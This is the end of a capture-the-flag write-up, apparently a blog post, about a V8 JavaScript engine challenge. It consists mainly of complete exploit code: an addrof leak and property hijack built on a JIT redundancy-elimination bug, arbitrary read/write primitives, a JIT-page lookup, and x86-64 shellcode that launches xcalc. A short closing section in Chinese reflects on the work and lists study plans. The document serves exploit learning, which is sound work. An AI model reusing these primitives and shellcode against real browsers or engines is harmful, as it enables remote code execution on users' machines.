89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
function gc(){
for(var i = 0; i < 1024 * 1024* 16; i++){
new String;
}
}

function f2i(f){
float64 = new Float64Array(1);
float64[0] = f;
int32 = new Uint32Array(float64.buffer);
return int32[1] * 0x100000000 + int32[0];
}

function i2f(i){
int32 = new Uint32Array(2);
int32[1] = i / 0x100000000;
int32[0] = i % 0x100000000;
float64 = new Float64Array(int32.buffer);
return float64[0];
}

function hex(i){
return '0x'+i.toString(16).padStart(16, '0');
}


/*
Leak address of an object
*/
function addrof(obj){
function bug(arr, callback){
var a = arr[0];
callback();
return arr[0];
}
arr0 = [1.1, 2.2, 3.3, 4.4];
for(var i = 0; i < 100000; i++){
bug(arr0, function(){});
}
addr = bug(arr0, function(){
arr0[0] = obj;
});
return addr;
}

function hijack_properties(obj, val){
function bug(o, callback){
var a = o.c;
callback();
o.d = val;
}
var o = {c:1};
o.d = 1.1; // Force it to use Mutable Heap Number
for(var i = 0; i < 100000; i++){
bug(o, function(){});
}
bug(o, function(){
o.d = obj;
});

}

var pp_buf = new ArrayBuffer(1024);
var mv_buf = new ArrayBuffer(1024);

gc();
gc();

var pp_buf_addr = addrof(pp_buf);

var victim = {a:1};
victim.of_0 = {};
victim.of_8 = {};
victim.of_16 = {}; // backing store pointer

hijack_properties(victim, pp_buf_addr);

victim.of_16 = mv_buf;

var driver = new Uint8Array(pp_buf);

function i2b(num){
a = num;
bytes = [];
index = 0;
for(var i = 0; i < 8; i++){
l = a % 0x100;
if(l != 0){
bytes[index] = l;
index ++;
a = parseInt(a / 0x100);
}
else{
break;
}
}
return bytes;
}

/*
arbitrary write
addr: Int
data: []
*/
function arb_write(addr, data){
driver.set(i2b(addr), 31);
var memview = new Uint8Array(mv_buf);
memview.set(data);
}

/*
arbitrary read 8 bytes
addr: Int
return: []
*/
function arb_read(addr){
driver.set(i2b(addr), 31);
var memview = new Uint8Array(mv_buf);
return memview.subarray(0, 8);
}

console.log('[*] Can arbitrary r/w now');

function jit_func(x){
return x * x - 2 * x + 1;
}

for(var i = 0; i < 10000; i++){
jit_func(1);
}

function b2i(bytes){
var value = 0;
for(var i = 0; i < 8; i++){
value = value * 0x100 + bytes[7-i];
}
return value;
}

var jit_page_at = f2i(addrof(jit_func))-1+0x38;
var jit_page_addr = b2i(arb_read(jit_page_at));
console.log('[*] Found JIT page @ '+hex(jit_page_addr));

var sc_addr = jit_page_addr + 95;
console.log('[*] Shellcode @ '+hex(sc_addr));

var shellcode = [0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0xb8, 0x2f, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0x48, 0x31, 0xd2, 0x48, 0xc7, 0xc0, 0x3a, 0x30, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x31, 0xc0, 0x50, 0x52, 0x48, 0x89, 0xe2, 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00];
arb_write(sc_addr, shellcode);

jit_func();

Some thoughts

这道题目做了8天之久,期间身体出了点小意外,中间有几天在划水: D,还有就是对js object的格式以及js的语法很多有不熟悉,需要系统的补习一下。

最开始做的两道v8的题目:oob和roll a dice,漏洞和JIT的关系其实不大,主要是Array实现的问题。另外找到的强网杯的题目也差不多。而这道题目的漏洞出在JIT冗余消除中,算是关系比较密切的了,做题的过程中也了解了很多关于reduce的知识。

之后的计划:

  • 全面学习一下object的种类以及内存中的布局
  • 学习一下Turbofan的优化过程,以及可能的利用方法
  • 了解一些其他的漏洞和利用方法,例如UAF等
  • 沙箱内代码执行只算是RCE的一个环节,通常还需要escape sandbox,学习一下原理
  • 总是少不了的CVE